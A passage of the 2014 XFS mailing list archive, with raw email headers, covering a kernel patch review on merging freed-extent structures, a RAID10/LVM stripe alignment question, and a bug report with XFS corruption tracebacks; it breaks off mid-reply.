--===============0048688027373013578==-- From BATV+c8894738c8e88e1f342e+3853+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 12 05:41:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1F81F7F60 for ; Wed, 12 Mar 2014 05:41:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B888EAC002 for ; Wed, 12 Mar 2014 03:41:00 -0700 (PDT) X-ASG-Debug-ID: 1394620858-04cb6c567549d1e0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id tCg2Wp17UDGXNT4q (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 12 Mar 2014 03:40:59 -0700 (PDT) X-Barracuda-Envelope-From: BATV+c8894738c8e88e1f342e+3853+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WNgao-0003UL-DS; Wed, 12 Mar 2014 10:40:58 +0000 Date: Wed, 12 Mar 2014 03:40:58 -0700 From: Christoph Hellwig To: Brian Foster Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: merge xfs_bmap_free_item and xfs_extent_busy Message-ID: <20140312104058.GB4167@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: merge xfs_bmap_free_item and xfs_extent_busy References: <20140307105535.GA7850@infradead.org> <20140311153135.GA37254@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140311153135.GA37254@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394620859 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3812 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Mar 11, 2014 at 11:31:38AM -0400, Brian Foster wrote: > > + xfs_extent_busy_insert(tp, free); > > + list_add(&free->list, &tp->t_busy); > > If I follow correctly, the list_add() is removed from > xfs_extent_busy_insert() because we use the list field for the bmap > flist as well as the t_busy list. Indeed. And in the case of the normal bmap free path we just splice the list from the bmap flist into the transaction, so we remove the add inside xfs_extent_busy_insert and move it to the callers, so thast the bmap free path can batch it. > It appears we've lost an error check associated with allocation failure > in xfs_freed_extent_alloc() (here and at other callers). The current > code looks like it handles this by marking the transaction as > synchronous. Have we avoided the need for this by using > kmem_zone_alloc()? I guess it looks like the sleep param will cause it > to continue to retry... Indeed. That's what the old bmap freelist path did, and for that case we can't really handle a failure as we are in a dirty transaction that we would have to abort. For the old extent_busy structure the failure wasn't fatal, but we got rid of that allocation entirely for the fast path. > > +struct xfs_freed_extent { > > + struct rb_node rb_node; /* ag by-bno indexed search tree */ > > + struct list_head list; /* transaction busy extent list */ > > + xfs_agnumber_t agno; > > + xfs_agblock_t bno; > > agbno? Maybe that would be a bit more clear, although we use bno for an agblock_t in lots of places. > > - xfs_extent_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1, > > - XFS_EXTENT_BUSY_SKIP_DISCARD); > > - xfs_trans_agbtree_delta(cur->bc_tp, -1); > > Was this supposed to go away? The xfs_trans_agbtree_delta call wasn't supposed to go away. Kinda surprised it still passed testing despite this. > > -/* > > * Add the extent to the list of extents to be free at transaction end. > > * The list is maintained sorted (by block number). > > */ > > This comment could be fixed now that the sort is deferred. I'll fix it. > > +STATIC int > > +xfs_freed_extent_cmp( > > + void *priv, > > + struct list_head *la, > > + struct list_head *lb) > > +{ > > + struct xfs_freed_extent *a = > > + container_of(la, struct xfs_freed_extent, list); > > + struct xfs_freed_extent *b = > > + container_of(lb, struct xfs_freed_extent, list); > > + > > + if (a->agno == b->agno) > > + return a->bno - b->bno; > > Could we just do a comparison here and return +/-1? Because we the compare callback returns an int, and type promotion in C will give us a wrong result if we "simplify" compare to 64-bit values. We already ran into this with the list_sort in xfs_buf.c. I'll add a comment to explain it. > > - for (free = flist->xbf_first; free != NULL; free = next) { > > - next = free->xbfi_next; > > - if ((error = xfs_free_extent(ntp, free->xbfi_startblock, > > - free->xbfi_blockcount))) { > > + > > + list_for_each_entry(free, &flist->xbf_list, list) { > > + error = __xfs_free_extent(ntp, free); > > + if (error) { > > /* > > * The bmap free list will be cleaned up at a > > * higher level. The EFI will be canceled when > > So it seems like technically we could get away with still doing the list > migration here an extent at a time, but that would turn this code kind > of ugly (e.g., to remove each entry from xbf_list as we go). And there's not point. > Also, it appears we no longer do the xfs_extent_busy_insert() in this > path..? It did before I messed up a rebase.. > > void > > xfs_extent_busy_insert( > > struct xfs_trans *tp, > > - xfs_agnumber_t agno, > > - xfs_agblock_t bno, > > - xfs_extlen_t len, > > - unsigned int flags) > > + struct xfs_freed_extent *new) > > { > > tp is only used for the mount now, so we can probably replace tp with > mp. I'll update it. From stan@hardwarefreak.com Wed Mar 12 06:37:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2149B7F5A for ; Wed, 12 Mar 2014 06:37:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A8AB8AC002 for ; Wed, 12 Mar 2014 04:37:17 -0700 (PDT) X-ASG-Debug-ID: 1394624236-04cbb054b62a1a20001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id yRORJJMaHgxhr7Ti for ; Wed, 12 Mar 2014 04:37:16 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id D0A006C159; Wed, 12 Mar 2014 06:37:15 -0500 (CDT) Message-ID: <532046E9.9090302@hardwarefreak.com> Date: Wed, 12 Mar 2014 06:37:13 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Ray Van Dolson , xfs@oss.sgi.com Subject: Re: sw and su for hardware RAID10 (w/ LVM) References: <20140311045639.GA18159@esri.com> X-ASG-Orig-Subj: Re: sw and su for hardware RAID10 (w/ LVM) In-Reply-To: <20140311045639.GA18159@esri.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1394624236 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/10/2014 11:56 PM, Ray Van Dolson wrote: > RHEL6.x + XFS that comes w/ Red Hat's scalable file system add on. We > have two PowerVault MD3260e's each configured with a 30 disk RAID10 (15 > RAID groups) exposed to our server. Segment size is 128K (in Dell's > world I'm not sure if this means my stripe width is 128K*15?) 128KB must be the stripe unit. > Have set up a concatenated LVM volume on top of these two "virtual > disks" (with lvcreate -i 2). This is because you created a 2 stripe array, not a concatenation. > By default LVM says it's used a stripe width of 64K. > > # lvs -o path,size,stripes,stripe_size > Path LSize #Str Stripe > /dev/agsfac_vg00/lv00 100.00t 2 64.00k from lvcreate(8) -i, --stripes Stripes Gives the number of stripes... > Unsure if these defaults should be adjusted. > > I'm trying to figure out the appropriate sw/su values to use per: > > http://xfs.org/index.php/XFS_FAQ#Q:_How_to_calculate_the_correct_sunit.2Cswidth_values_for_optimal_performance > > Am considering either just going with defaults (XFS should pull from > LVM I think) or doing something like sw=2,su=128K. However, maybe I > should be doing sw=2,su=1920K? And perhaps my LVM stripe width should > be adjusted? Why don't you first tell us what you want? You say at the top that you created a concatenation, but at the bottom you say LVM stripe. So first tell us which one you actually want, because the XFS alignment is radically different for each. Then tell us why you must use LVM instead of md. md has fewer problems/limitations for stripes and concat than LVM, and is much easier to configure. -- Stan From bfoster@redhat.com Wed Mar 12 07:36:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6C7ED7F62 for ; Wed, 12 Mar 2014 07:36:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 575488F808E for ; Wed, 12 Mar 2014 05:36:00 -0700 (PDT) X-ASG-Debug-ID: 1394627757-04cbb054b82a5840001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Vt0PTatzFRKWOCkO for ; Wed, 12 Mar 2014 05:35:59 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2CCZYJq006202 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 12 Mar 2014 08:35:34 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2CCZXXr027750; Wed, 12 Mar 2014 08:35:33 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8697E123AB2; Wed, 12 Mar 2014 08:35:32 -0400 (EDT) Date: Wed, 12 Mar 2014 08:35:32 -0400 From: Brian Foster To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: merge xfs_bmap_free_item and xfs_extent_busy Message-ID: <20140312123532.GA19329@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: merge xfs_bmap_free_item and xfs_extent_busy References: <20140307105535.GA7850@infradead.org> <20140311153135.GA37254@bfoster.bfoster> <20140312104058.GB4167@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140312104058.GB4167@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394627757 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Mar 12, 2014 at 03:40:58AM -0700, Christoph Hellwig wrote: > On Tue, Mar 11, 2014 at 11:31:38AM -0400, Brian Foster wrote: > > > + xfs_extent_busy_insert(tp, free); > > > + list_add(&free->list, &tp->t_busy); > > > > If I follow correctly, the list_add() is removed from > > xfs_extent_busy_insert() because we use the list field for the bmap > > flist as well as the t_busy list. > > Indeed. And in the case of the normal bmap free path we just splice > the list from the bmap flist into the transaction, so we remove the add > inside xfs_extent_busy_insert and move it to the callers, so thast the > bmap free path can batch it. > > > It appears we've lost an error check associated with allocation failure > > in xfs_freed_extent_alloc() (here and at other callers). The current > > code looks like it handles this by marking the transaction as > > synchronous. Have we avoided the need for this by using > > kmem_zone_alloc()? I guess it looks like the sleep param will cause it > > to continue to retry... > > Indeed. That's what the old bmap freelist path did, and for that case > we can't really handle a failure as we are in a dirty transaction that > we would have to abort. For the old extent_busy structure the failure > wasn't fatal, but we got rid of that allocation entirely for the fast > path. > Ok, thanks for the explanation. > > > +struct xfs_freed_extent { > > > + struct rb_node rb_node; /* ag by-bno indexed search tree */ > > > + struct list_head list; /* transaction busy extent list */ > > > + xfs_agnumber_t agno; > > > + xfs_agblock_t bno; > > > > agbno? > > Maybe that would be a bit more clear, although we use bno for an > agblock_t in lots of places. > Sure, bno is just a little less clear in the context of a struct being modified/handled in different contexts. > > > - xfs_extent_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1, > > > - XFS_EXTENT_BUSY_SKIP_DISCARD); > > > - xfs_trans_agbtree_delta(cur->bc_tp, -1); > > > > Was this supposed to go away? > > The xfs_trans_agbtree_delta call wasn't supposed to go away. Kinda > surprised it still passed testing despite this. > > > > -/* > > > * Add the extent to the list of extents to be free at transaction end. > > > * The list is maintained sorted (by block number). > > > */ > > > > This comment could be fixed now that the sort is deferred. > > I'll fix it. > > > > +STATIC int > > > +xfs_freed_extent_cmp( > > > + void *priv, > > > + struct list_head *la, > > > + struct list_head *lb) > > > +{ > > > + struct xfs_freed_extent *a = > > > + container_of(la, struct xfs_freed_extent, list); > > > + struct xfs_freed_extent *b = > > > + container_of(lb, struct xfs_freed_extent, list); > > > + > > > + if (a->agno == b->agno) > > > + return a->bno - b->bno; > > > > Could we just do a comparison here and return +/-1? > > Because we the compare callback returns an int, and type promotion in C > will give us a wrong result if we "simplify" compare to 64-bit values. > We already ran into this with the list_sort in xfs_buf.c. I'll add a > comment to explain it. > Interesting. Well, I could still be missing something but fwiw my concern here is that we're subtracting two unsigned 32-bit values. Brian > > > > - for (free = flist->xbf_first; free != NULL; free = next) { > > > - next = free->xbfi_next; > > > - if ((error = xfs_free_extent(ntp, free->xbfi_startblock, > > > - free->xbfi_blockcount))) { > > > + > > > + list_for_each_entry(free, &flist->xbf_list, list) { > > > + error = __xfs_free_extent(ntp, free); > > > + if (error) { > > > /* > > > * The bmap free list will be cleaned up at a > > > * higher level. The EFI will be canceled when > > > > So it seems like technically we could get away with still doing the list > > migration here an extent at a time, but that would turn this code kind > > of ugly (e.g., to remove each entry from xbf_list as we go). > > And there's not point. > > > Also, it appears we no longer do the xfs_extent_busy_insert() in this > > path..? > > It did before I messed up a rebase.. > > > > void > > > xfs_extent_busy_insert( > > > struct xfs_trans *tp, > > > - xfs_agnumber_t agno, > > > - xfs_agblock_t bno, > > > - xfs_extlen_t len, > > > - unsigned int flags) > > > + struct xfs_freed_extent *new) > > > { > > > > tp is only used for the mount now, so we can probably replace tp with > > mp. > > I'll update it. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From Morgan.Mears@netapp.com Wed Mar 12 15:14:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D7AB87F53 for ; Wed, 12 Mar 2014 15:14:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CBE96304051 for ; Wed, 12 Mar 2014 13:14:34 -0700 (PDT) X-ASG-Debug-ID: 1394655272-04cbb054b72d0b20001-NocioJ Received: from mx12.netapp.com (mx12.netapp.com [216.240.18.77]) by cuda.sgi.com with ESMTP id sJk8kDEZyfR8PWhr (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 12 Mar 2014 13:14:33 -0700 (PDT) X-Barracuda-Envelope-From: Morgan.Mears@netapp.com X-Barracuda-Apparent-Source-IP: 216.240.18.77 X-IronPort-AV: E=Sophos;i="4.97,640,1389772800"; d="scan'208";a="149541712" Received: from vmwexceht05-prd.hq.netapp.com ([10.106.77.35]) by mx12-out.netapp.com with ESMTP; 12 Mar 2014 13:14:32 -0700 Received: from SACEXCMBX06-PRD.hq.netapp.com ([169.254.9.198]) by vmwexceht05-prd.hq.netapp.com ([10.106.77.35]) with mapi id 14.03.0123.003; Wed, 12 Mar 2014 13:14:32 -0700 From: "Mears, Morgan" To: "xfs@oss.sgi.com" Subject: Possible XFS bug encountered in 3.14.0-rc3+ Thread-Topic: Possible XFS bug encountered in 3.14.0-rc3+ X-ASG-Orig-Subj: Possible XFS bug encountered in 3.14.0-rc3+ Thread-Index: Ac8+Lnd5ZrOBn3zKSZ2tAyiTTgiU/g== Date: Wed, 12 Mar 2014 20:14:32 +0000 Message-ID: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.106.53.53] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx12.netapp.com[216.240.18.77] X-Barracuda-Start-Time: 1394655273 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3823 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Hi, Please CC me on any responses; I don't subscribe to this list. I ran into a possible XFS bug while doing some Oracle benchmarking. My tes= t system is running a 3.14.0-rc3+ kernel built from the for-next branch of git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm.git on 2014-02-19 (last commit 1342f11e713792e53e4b7aa21167fe9caca81c4a). The XFS instance in question is 200 GB and should have all default parameters (mkfs.xfs /dev/mapper/). It contains Oracle binaries and trace files. At the time the issue occurred I had been running Oracle with SQL*NET server tracing enabled. The affected XFS had filled up 100% with trace files several times; I was periodically executing rm -f * in the trace file directory, which would reduce the file system occupancy from 100% to 3%. I had an Oracle load generating tool running, so new log files were being created with some frequency. The issue occurred during one of my rm -f * executions; afterwards the file system would only produce errors. Here is the traceback: [1552067.297192] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 o= f file fs/xfs/xfs_alloc.c. Caller 0xffffffffa04c4905 [1552067.297203] CPU: 13 PID: 699 Comm: rm Not tainted 3.14.0-rc3+ #1 [1552067.297206] Hardware name: FUJITSU PRIMERGY RX300 S7/D2939-A1, BIOS V4= .6.5.3 R1.19.0 for D2939-A1x 12/06/2012 [1552067.297210] 0000000000069ff9 ffff8817740e1b88 ffffffff815f1eb5 000000= 0000000001 [1552067.297222] ffff8817740e1ba0 ffffffffa04aac7b ffffffffa04c4905 ffff88= 17740e1c38 [1552067.297229] ffffffffa04c3399 ffff882022dae000 ffff8810247d2d00 ffff88= 10239c4840 [1552067.297236] Call Trace: [1552067.297248] [] dump_stack+0x45/0x56 [1552067.297311] [] xfs_error_report+0x3b/0x40 [xfs] [1552067.297344] [] ? xfs_free_extent+0xc5/0xf0 [xfs] [1552067.297373] [] xfs_free_ag_extent+0x1e9/0x710 [xfs] [1552067.297401] [] xfs_free_extent+0xc5/0xf0 [xfs] [1552067.297425] [] xfs_bmap_finish+0x13f/0x190 [xfs] [1552067.297461] [] xfs_itruncate_extents+0x16d/0x2a0 [x= fs] [1552067.297503] [] xfs_inactive_truncate+0x8d/0x120 [xf= s] [1552067.297534] [] xfs_inactive+0x138/0x160 [xfs] [1552067.297562] [] xfs_fs_evict_inode+0x80/0xc0 [xfs] [1552067.297570] [] evict+0xa3/0x1a0 [1552067.297575] [] iput+0xf5/0x180 [1552067.297582] [] do_unlinkat+0x18e/0x2a0 [1552067.297590] [] ? SYSC_newfstatat+0x25/0x30 [1552067.297596] [] SyS_unlinkat+0x1b/0x40 [1552067.297602] [] system_call_fastpath+0x16/0x1b [1552067.297610] XFS (dm-7): xfs_do_force_shutdown(0x8) called from line 13= 8 of file fs/xfs/xfs_bmap_util.c. Return address =3D 0xffffffffa04a4b48 [1552067.298378] XFS (dm-7): Corruption of in-memory data detected. Shutti= ng down filesystem [1552067.298385] XFS (dm-7): Please umount the filesystem and rectify the p= roblem(s) I was unable to umount, even with -f; failed with EBUSY and couldn't unbusy as the fs was unresponsive (and happens to contain the Oracle management tools necessary to close all open descriptors). Accordingly I rebooted. I captured a post-reboot xfs_metadump before attempting any other operation= s on the partition. It is here: https://dl.dropboxusercontent.com/u/31522929/xfs-double-free-xfs_metadump-b= efore-repair.gz Attempting to mount in order to replay the log resulted in mount hanging, and another traceback, as follows: [ 921.672867] XFS (dm-9): Mounting Filesystem [ 921.707326] XFS (dm-9): Starting recovery (logdev: internal) [ 921.721596] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of = file fs/xfs/xfs_alloc.c. Caller 0xffffffffa035d905 [ 921.721607] CPU: 3 PID: 8569 Comm: mount Not tainted 3.14.0-rc3+ #1 [ 921.721610] Hardware name: FUJITSU PRIMERGY RX300 S7/D2939-A1, BIOS V4.6= .5.3 R1.19.0 for D2939-A1x 12/06/2012 [ 921.721614] 0000000000069ff9 ffff88102698fb30 ffffffff815f1eb5 00000000= 00000001 [ 921.721625] ffff88102698fb48 ffffffffa0343c7b ffffffffa035d905 ffff8810= 2698fbe0 [ 921.721632] ffffffffa035c399 ffff881021928800 ffff881017847900 ffff8810= 29304f00 [ 921.721639] Call Trace: [ 921.721650] [] dump_stack+0x45/0x56 [ 921.721713] [] xfs_error_report+0x3b/0x40 [xfs] [ 921.721746] [] ? xfs_free_extent+0xc5/0xf0 [xfs] [ 921.721820] [] xfs_free_ag_extent+0x1e9/0x710 [xfs] [ 921.721877] [] xfs_free_extent+0xc5/0xf0 [xfs] [ 921.721912] [] xlog_recover_process_efi+0x170/0x1b0 [= xfs] [ 921.721948] [] ? xfs_trans_ail_cursor_init+0x24/0x30 = [xfs] [ 921.721981] [] xlog_recover_process_efis.isra.27+0x64= /0xb0 [xfs] [ 921.722023] [] xlog_recover_finish+0x21/0xb0 [xfs] [ 921.722055] [] xfs_log_mount_finish+0x34/0x50 [xfs] [ 921.722082] [] xfs_mountfs+0x47d/0x710 [xfs] [ 921.722109] [] xfs_fs_fill_super+0x2b2/0x330 [xfs] [ 921.722121] [] mount_bdev+0x194/0x1d0 [ 921.722161] [] ? xfs_parseargs+0xbd0/0xbd0 [xfs] [ 921.722190] [] xfs_fs_mount+0x15/0x20 [xfs] [ 921.722200] [] mount_fs+0x39/0x1b0 [ 921.722208] [] ? __alloc_percpu+0x10/0x20 [ 921.722219] [] vfs_kern_mount+0x67/0x100 [ 921.722226] [] do_mount+0x23e/0xad0 [ 921.722233] [] ? strndup_user+0x4b/0xf0 [ 921.722240] [] SyS_mount+0x83/0xc0 [ 921.722248] [] system_call_fastpath+0x16/0x1b [ 921.722262] XFS (dm-9): Failed to recover EFIs [ 921.722266] XFS (dm-9): log mount finish failed I ran xfs_repair -n; the output is here: https://dl.dropboxusercontent.com/u/31522929/xfs_repair-n-output xfs_repair with no args failed because there was still content in the logs. xfs_repair -L succeeded; the output is here: https://dl.dropboxusercontent.com/u/31522929/xfs_repair-L-output Afterwards I was able to mount the file system and start Oracle from it. Regards, Morgan Mears From tinguely@sgi.com Wed Mar 12 16:43:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 148D37F56 for ; Wed, 12 Mar 2014 16:43:31 -0500 (CDT) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay1.corp.sgi.com (Postfix) with ESMTP id C8E528F8040; Wed, 12 Mar 2014 14:43:27 -0700 (PDT) Message-ID: <5320D4FE.3070002@sgi.com> Date: Wed, 12 Mar 2014 16:43:26 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: "Mears, Morgan" CC: "xfs@oss.sgi.com" , Jie Liu Subject: Re: Possible XFS bug encountered in 3.14.0-rc3+ References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> In-Reply-To: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/12/14 15:14, Mears, Morgan wrote: > Hi, > > Please CC me on any responses; I don't subscribe to this list. > > I ran into a possible XFS bug while doing some Oracle benchmarking. My test > system is running a 3.14.0-rc3+ kernel built from the for-next branch of > git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm.git > on 2014-02-19 (last commit 1342f11e713792e53e4b7aa21167fe9caca81c4a). > > The XFS instance in question is 200 GB and should have all default > parameters (mkfs.xfs /dev/mapper/). It contains Oracle > binaries and trace files. At the time the issue occurred I had been > running Oracle with SQL*NET server tracing enabled. The affected XFS > had filled up 100% with trace files several times; I was periodically > executing rm -f * in the trace file directory, which would reduce the > file system occupancy from 100% to 3%. I had an Oracle load generating > tool running, so new log files were being created with some frequency. > > The issue occurred during one of my rm -f * executions; afterwards the > file system would only produce errors. Here is the traceback: > > [1552067.297192] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa04c4905 > [1552067.297203] CPU: 13 PID: 699 Comm: rm Not tainted 3.14.0-rc3+ #1 > [1552067.297206] Hardware name: FUJITSU PRIMERGY RX300 S7/D2939-A1, BIOS V4.6.5.3 R1.19.0 for D2939-A1x 12/06/2012 > [1552067.297210] 0000000000069ff9 ffff8817740e1b88 ffffffff815f1eb5 0000000000000001 > [1552067.297222] ffff8817740e1ba0 ffffffffa04aac7b ffffffffa04c4905 ffff8817740e1c38 > [1552067.297229] ffffffffa04c3399 ffff882022dae000 ffff8810247d2d00 ffff8810239c4840 > [1552067.297236] Call Trace: > [1552067.297248] [] dump_stack+0x45/0x56 > [1552067.297311] [] xfs_error_report+0x3b/0x40 [xfs] > [1552067.297344] [] ? xfs_free_extent+0xc5/0xf0 [xfs] > [1552067.297373] [] xfs_free_ag_extent+0x1e9/0x710 [xfs] > [1552067.297401] [] xfs_free_extent+0xc5/0xf0 [xfs] > [1552067.297425] [] xfs_bmap_finish+0x13f/0x190 [xfs] > [1552067.297461] [] xfs_itruncate_extents+0x16d/0x2a0 [xfs] > [1552067.297503] [] xfs_inactive_truncate+0x8d/0x120 [xfs] > [1552067.297534] [] xfs_inactive+0x138/0x160 [xfs] > [1552067.297562] [] xfs_fs_evict_inode+0x80/0xc0 [xfs] > [1552067.297570] [] evict+0xa3/0x1a0 > [1552067.297575] [] iput+0xf5/0x180 > [1552067.297582] [] do_unlinkat+0x18e/0x2a0 > [1552067.297590] [] ? SYSC_newfstatat+0x25/0x30 > [1552067.297596] [] SyS_unlinkat+0x1b/0x40 > [1552067.297602] [] system_call_fastpath+0x16/0x1b > [1552067.297610] XFS (dm-7): xfs_do_force_shutdown(0x8) called from line 138 of file fs/xfs/xfs_bmap_util.c. Return address = 0xffffffffa04a4b48 > [1552067.298378] XFS (dm-7): Corruption of in-memory data detected. Shutting down filesystem > [1552067.298385] XFS (dm-7): Please umount the filesystem and rectify the problem(s) Partial free extent. Lots of unused sequential blocks listed in sequential inodes. Are you sure there are no errors in the device mapper layer? > I was unable to umount, even with -f; failed with EBUSY and couldn't unbusy > as the fs was unresponsive (and happens to contain the Oracle management > tools necessary to close all open descriptors). Accordingly I rebooted. You are the second person in 2-3 weeks to hit this unmount issue. Unmatched EFI in the AIL keeps the unmount from completing. Jeff are you still looking at this? Here and in 